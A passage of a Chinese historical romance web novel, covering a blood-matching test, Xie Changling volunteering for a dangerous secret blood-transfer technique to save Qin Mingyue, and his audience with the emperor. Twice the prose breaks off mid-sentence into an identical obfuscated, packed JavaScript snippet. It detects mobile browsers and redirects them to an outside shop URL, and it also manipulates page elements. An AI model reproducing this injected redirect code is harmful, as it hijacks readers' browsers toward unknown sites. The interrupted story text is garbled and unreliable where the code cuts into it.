提起的那一丝希望终随着这个诊断被彻底扑灭，秦洪业颓然地跌坐下来，将脸深深埋在手掌中，屋内传来秦兰意压抑的哭声。 “不过——”一道微哑的女声忽然响起，众人一怔，重新抬首望去。 “既已回天乏术，秦大人可愿逆天而行，为秦姑娘搏上一搏？” “只要能救月儿，要我如何都行！”秦洪业急道。 与此同时，一道月白的身影也默然立于人群之后。 谢长龄蹙眉望向被围在中间的两人，袍角处还沾着几点干涸的血迹。无人看见，他藏于袖中的双手紧握成拳，有青筋自手背上凸起。 这半个月来，他始终沉默地往返于宫中与秦府之间。白日里，全力追查中秋宴刺杀一案同枕麓轩一事；晚间便径直来此，他倒也不多言语，只默默守在这望舒阁中，远远看着。偶尔给雪球、猫一只喂喂食、添添水，更多时候，安静地坐在院中，凝视着那扇人来人往的卧房之门。 秦洪业赶过他几回，见对方不为所动，且没有什么出格之举，加之还是女儿的救命恩人，便也不再阻拦。 “我幼时曾在老祖手札中载有一则秘法。”归晚意顿了顿，似在整理语言，“当年老祖游历南疆，曾得异人传授一门禁术，名曰‘青龙走碧’，需要寻一气血旺盛、命理相缠之人，以秘法将其体内热血，渡入伤者筋脉之中，以活死肌、生新血。” 命理相缠—— 四个字自唇边滑过，秦兰意蓦然上前，“我！我年轻，且与长姐是嫡亲姐妹，我可以！” “要怎么做，是要取血么？” 说完她便捋起袖子，露出半截皓腕，恨不能立时划开脉搏，将血液灌进昏迷不醒的秦明月体内。 “兰意，退下。”秦洪业扶着桌案稳住身形，目光期冀地望向归晚意，竭力按捺心中翻涌，“苓姥既说秘法，可是有什么妨害？” “自然。”陶大夫接过话头，“此术有违天和，需以银针引血，直接将供者的血液引入病患筋脉。稍有不慎，两人俱损，神仙难救。” 屋内一片死寂。 “那便由我来吧。”几息后，秦洪业似是下定决心，沉声开口。 “父亲不可！”秦兰意脱口而出，这也是她生平头一遭反驳父亲，“秦氏一族还需您主持大局，弟弟、妹妹尚且年幼。况且，我与姐姐同时女子，血脉相连，说不定还能免于阴阳不调之苦。” “兰意......”李氏难以置信看着女儿，说她自私也好、凉薄也罢，她从未对这个流落在外多年的孩子有过一丝恶意，可若要她拿亲生儿女的命去填，恕她实在做不到。 屋中一时僵持。 “诸位不要急。”陶潜适时开口，“此术之难，不仅在施针之法，更在于寻得合适之人。并非谁愿供血便可，还需......” “还需如何？” “气血相融、命理相合。”归晚意总结道，“简单来说，就是二人血液能够相容，五行八字天作地和。” 众人面面相觑。 不多时，秦书砚、秦梅风，乃至守在院门外的顾家小子们也都闻讯赶了过来，按着陶大夫等人的指点，逐一将血滴入备好的清水中。 人群中，忽然伸出一只苍白遒劲的手，是谢长龄。 血液顺势滴入器皿之中，陶大夫诧异地看了他一眼，很快又重新将注意力放到滴了血的清水中。 一息、两息、三息...... 众人眼睛一眨不眨地盯着水盆，直至清水中，有三滴血液缓缓与正中的那滴靠拢，逐渐相融。 “是大哥的，还有秦二小姐和谢大人！”人群中的顾克焱大声喊了出来。 一旁的秦兰意微微松了口气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232441|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避开母亲的眼神，“我就说我可以。那下一步呢，还望苓姥指点。” “将你们三人的生辰八字与我。” 归晚意接过纸笺，自包裹中取出几枚古旧铜钱，口中念念有词地开始掐算起来。 时间一点一点流失，仿佛被无限拉长，众人都焦急地等待着这最后一个“审判”。 良久，“老妪”终于缓缓抬起头，苍老的手指在人群中一一扫过，最终定格在一个月白色衣袍的身影上。 “只有你可以。” “谢大人？这如何使得。”秦洪业惊愕地看向身后之人，眉峰紧紧拧起。 这桩秘术若有差池，便是二人具亡。刚刚滴血时是来不及阻拦，可现在...... 他如何能让一个外人为秦家的女儿送命！ “苓姥，您要不再算算，或者我再到秦家旁支中去找找，看看还有没有其他合适的人选。” 秦家一脉，他大可以倾全族之力去补偿，金银、田产、官职，只要他能给的，绝不吝惜。可谢府满门忠烈，几代人皆战死沙场，如今只剩谢长龄这一点血脉，他若有个闪失，无论如何，自己也无法交代。 “对对对，如何只有他可行？大夫，我顾家还有几位姊妹，您等等，我即刻遣人回家唤她们过来。”顾克焱急道。 “我愿意。” 争执间，从进来就一言不发的谢长龄突然开口。他穿过人群，走至众人身前，“谢某孑然一身，已无可失。若能换秦小姐一一线生机，才不算枉费。” “可......” “秦大人若仍有顾虑，我可以立下字据。我谢长龄，甘愿与秦大小姐同历此劫。若有差池，皆是我命数如此，与秦府无半点干系。” 对方话音铿锵，如誓言般在在场的每一个人耳畔炸响。秦洪业怔怔望着眼前之人坚定的眼神，良久，才缓缓坐回凳上，挥了挥手，示意众人退下。 片刻后，屋内只余陶潜、归晚意，与他二人。 “谢大人，秦某感激您对月儿的厚意。可你圣眷正浓、前途光明，更重要的是谢将军一脉，只有你能撑起门庭了，家族复兴同......相比，”秦洪业顿了顿，终是没有说得出口，“真的值得吗？” “值得。” ...... 月亮不知什么时候爬上了树梢，无人知晓这一个时辰内，他们二人说了什么。只看见秦大人将谢长龄送出府门后，在原地站了很久、很久。 夜色正浓，他轻轻叹了口气。 前朝后宫的风声更紧了。 人人都说京兆府的谢大人原本的光风霁月不过是张面皮，面皮下是嗜血的杀神。 内务府的掌事、魏武侯的内兄，乃至长春宫的丽妃，连同膝下养着的五皇子，全都吃了挂落。内务府等一干人犯，只要抓住马脚，无需画押，直接斩杀；丽妃与五皇子虽动不得，可参劾的折子却一封接着一封地飞到了御前。 朝堂之上，同魏家有关的书院赛马、绿水庄等事也全部被翻了出来。 整个京中一时风声鹤唳。 41. 她是信仰 深夜的懋勤宫中，身着明黄龙袍的宣成帝，自一沓案卷中拈起一根极细的银丝，两手撑开细细端详。 “绥之的意思是，当日的月相装置便是靠这种银丝，以民间‘牵丝戏’的手法，远程操控攻击的？” 谢长龄俯首抱拳：“回陛下，正是。这根银丝便是案发后，微臣自月相残骸中寻获的。事后，臣还会同工部尚书依样复刻，确实与当晚情形别无二致。” 殿上响起哗啦啦得纸张翻动的声响。不用抬头，也知道宣成帝这是在阅览相关卷宗。翻阅速度越来越快，很快，就能看到卷宗末尾，那里用朱笔清晰写着审理结果。 ——结合银丝来源、内务府匠人尸检结果等，一致认定此案魏武侯府嫌疑重大。 下方齐齐齐齐盖着京兆府、刑部、大理寺的官印。 “安植，给绥之端个椅子。瞧瞧这几日，累得越发消瘦了，”宣成帝突然开口道，打量的目光漫不经心地扫过阶下之人。“说到工部尚书，就是英宁县主的外祖家吧。” 谢长龄点头应是。 “听闻绥之最近总往秦大人府上去，”上首之人顿了顿，接着说道，“还有之前京中销钱为器一案，秦小姐牵涉其中，你放着岭南的差事不管不顾也要赶回来替她撑腰，听闻还有人还见你们一同在牡丹峰查案。” “当初朕就问过你，结果你这小子怎么说来着，说是‘案情需要，别无他意’？” “陛下，臣之前确实......” “行了行了。”宣成帝笑着打断，“你这孩子，有心仪的女子直接告诉朕就好。朕早同你说过，你如同我的半子，你若有真心喜欢姑娘，朕还能做出棒打鸳鸯的事来不成？朕也是从那个年纪过来的。” 高台之上，宣成帝朝谢长龄投来一个了然的神情，复又嗔怪道：“你说说看，还累得朕与皇后操心你的婚事许久。之前问你，只一味敷衍我们‘老人家’，若不是这回的事，我们可差点就要将魏武侯的女儿许配给你了。” 魏淑君？ 闻言，谢长龄忙抱拳俯身，“臣多谢陛下娘娘抬爱，只是魏小姐身份高贵，臣实在不是良配。” “呵，你这小子，魏小姐在高贵还能有朕亲封的县主高贵？” “臣......” “行了行了，若英宁县主能度过此劫，朕就为你们赐婚如何？”宣成帝语气中满是跃跃欲试。 “陛下，不可。”谢长龄连忙拒绝，“臣，确实倾慕县主许久，只是县主对臣并无此意，恳请陛下再给臣一段时间，等县主心甘情愿，届时再来求陛下的恩旨。况且，当前最重要的还是中秋宴刺杀一案。” “你是朕的半子，她还能看不上你？”宣成帝脸上的笑意慢慢消失，却矢口不谈案件。 殿上，气氛慢慢冷却。 身旁，安公公正指挥小太搬来一张雕花檀木椅。放下时，其中一名小太监手一滑，椅子落到地面时，发出“轰”的一声闷响。 “哎呦！小崽子你可小心些。这点事都做不好，自个儿到外面领罚去！” 安公公狠狠踹了那名小太监一脚，忙跪下来请罪。 “罢了，都下去吧。”上首之人朝下挥挥手，似是累极的模样。 ———————— 不知何时起，京中不知不觉又恢复了往日的繁华。 包围皇宫的禁军一夜之间都散去了，连同京兆府、刑部、大理寺也被遣回了府衙，案件便如同那封呈上去的奏折一样，石沉大海。 秦府内一片肃穆沉寂，唯有望舒阁，不断有人影进进出出。 “爹，之前不是说，这案子同魏家有关吗？怎么现在......” “总不过是帝王权衡之道。”秦洪业对着记录册，逐一核对托盘中的用具。“羊肠内可确定都涂上蜂蜡了？” “父亲放心，是我亲眼盯着匠人处理的，绝没有一丝差错。” “那就好。一会你秘术开始，你记得带上所有府卫将府上全部封堵起来，决不允许有一人进出或走动。” “儿子明白。父亲，若魏家无事，那大姐姐的仇......”秦书砚抬眸看向父亲。 “以后再说，当务之急是你姐姐性命无虞。不过这仇，我秦家早晚是要还回去的。”秦洪业举起一根特制的毫针，整个毫针针管中空，两端的针尖，在阳光下闪耀着寒芒。 隔壁的厢房内，水声渐渐消失。不多时，有小厮进来传话。 “谢大人那边都准备妥当了。你去将臧大夫同苓姥请来，然后就去前院守着吧。” “是。” 片刻后，身后传来沉稳的脚步声。谢长龄身着一身雪白中衣走进屋内，清瘦的身体上，肩膀处厚厚的绷带分外显眼，墨黑的长发被高高束起，只发尾还残留着一缕水汽。 “谢大人，你确定想清楚了？若现在反悔，还来得及。” “我不后悔。若今天我没有这样做，日后才会日夜遗憾。” “行了行了，大家就不能多信任一点我的医术？”说话间，陶潜带着归晚意走了进来，开口打趣道，“怎么好像我是取人性命的庸医。” “臧大夫，小女的性命，便交托给您了。”秦洪业敛袖朝对方行了个大礼。 眼见吉时将至，陶潜赶紧将人请了出去。 屋内，两张特制的冰玉床并排排放。秦明月早已在其中一张床上躺定，谢长龄缓缓走近，只见那个在心底描摹了千万次的面容，此时全然没有了往日的神采。她就那样安静地躺着，没有一丝声响，连呼吸都微弱得如同初生的猫崽。 陶大夫和归晚意还在背对着消毒器具。他的手不自觉靠近女子面颊，又在将将接触前缓缓放下。 “明月，我来了。” 这几日，他在宫中各种刑讯逼供、铁腕拿人的雷霆手段，就是为了能尽快结案，赶回来施行这套秘术。他太怕了，怕若迟了一步，就会永远失去生命中好不容易升起来的这轮月亮。 “我和卫燕锋都说过了，若我们真的运气不好，就由替我去宫中解释，你不用担心秦家。” 他轻轻蹲在她床前，耳边仿佛还回荡着卫燕锋扯着嗓子的爆鸣。 “谢长龄，你疯了吗？儿女情长比你命、比光复谢家门楣还重要是吗？” “不是儿女情长，是信仰。”那时，他是这么和好友说的。 年幼时，父兄便是他头顶的一轮明月。那时，父亲刚直不阿，兄长风骨凛然，他们立于沙场之上，坚定地守护着大晟大大小小四十八座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259955|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城池，也同样照耀着小小的他。那时他心里就暗暗发誓，终有一日，也要成为这样的人， 可是后来，他们都陨灭在了战场。此后十余年，他独自走过漫长而黑暗的岁月，月亮还在，可再也照不进他心里了，将军的儿子终于也学会了京官以术驭势那一套。 直到遇见她。 秦明月，她真的就如同一轮高悬的明月。 他见过她为家人好友奋不顾身，见过她为点头之交的人仗义执言，见过她面对强权时寸步不让。她不曾为自己做什么特别的事，哪怕是救自己，也不是因为自己，而是她本身就是那样的人。 就像天上的月亮，从不独照谁，却也照耀着身边每一个人。 “所以，怎么会不值得呢？”十几年前他无力守护的月光，如今终于有了一次改变结局的机会。 “放心吧，秦家谁都不会有事的。”那天最后，卫燕锋只低着头说了这么一句话。 “明月，谢谢你，又给了我一次救自己于梦魇的机会。” 望着手腕处缓缓流向身侧之人的血液，这是谢长龄陷入黑暗前，最后的念想。 再次醒来时，天光已破晓。 谢长龄猛地坐起身，眼前却一阵头晕目眩。 “哎呦，我的谢大人，你动作可悠着点！”陶潜刚端着药进门，就看见原本躺着的人影，此时靠在床壁上晃晃悠悠。 他急忙放下手中的药碗，快步走至床边：“我好不容易多用了两倍的麻沸散，让你多歇息了几个时辰缓缓劲，你可别又把自己可糟蹋了。” “陶大夫，秦小姐怎么样了？”谢长龄按住陶潜想要将自己按下去的手，急忙问道，“我既然无事，是不是意味着秘术成功了？” “把这个喝了。”天大地大，大夫眼中，病情最大。 “好。”谢长龄嘴上答应着，手上却端着药碗纹丝不动。 “别光答应啊，先喝了再说。” 看着眼前人终于咕嘟咕嘟一口气将浓稠的药汁灌了了下去，陶潜忍不住替对方皱了皱鼻子。 “你这么牛饮，不苦吗？” “......” “行了行了，你别盯着我了，我说。”陶潜龇牙接过药碗，“这秘术应该算是顺利施行了，好消息是，你不用死了。” “坏消息呢？”谢长龄紧追着问。 “坏消息是，这秘术还有第三道坎。病患还需熬过术后‘龙虎相争’的过程，你要知道，外来精气与她体内之血本不同源，想要融合，必得经历一番交战，发烧、寒战，每一个环节都需要她自己撑下去。” 屋外，传来秦兰意吩咐侍女重新打盆热水的声音。谢长龄掀开被子，拿起衣架上的外袍，就要往外走去。 “你去哪里？”陶潜一把拦住他。 “我去看看。”谢长龄心烦意乱地侧身想要绕过陶潜。 “秦小姐现在正由女眷擦身降温，晚意也在那，你去能有什么作用？”他努力将人推回床边，“你老实呆着，别秦小姐没好，你倒下了，回头我还要分出精力照顾你。” “况且，有些事还没完呢。”陶潜端着药碗，转身往外走去。 阳光透过门扉照耀了进来，他眯了眯眼，侧脸看向谢长龄。